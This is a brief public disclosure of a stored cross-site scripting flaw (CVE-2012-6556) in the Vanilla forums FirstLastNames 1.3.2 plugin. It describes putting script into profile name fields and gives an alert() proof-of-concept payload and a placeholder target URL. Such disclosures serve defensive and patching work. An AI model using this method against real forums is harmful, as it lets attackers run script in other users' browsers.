Vanilla FirstLastNames 1.3.2 Plugin - Persistent Cross-Site Scripting

Related Vulnerabilities: CVE-2012-6556  
Publish Date: 21 May 2012
                # Title: Vanilla FirstLastNames 1.3.2 Plugin Persistant XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + FirstLastNames 1.3.2

http://vanillaforums.org/addon/firstlastnames-plugin

# http://vanillaforums.org
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On Edit your account enter your XSS String in either the first name or last name field.
Then if a user visits your page the XSS will execute.

http://target.tld/index.php?p=/profile/myprofile/1/user

XSS:
<script>alert('x')</script>

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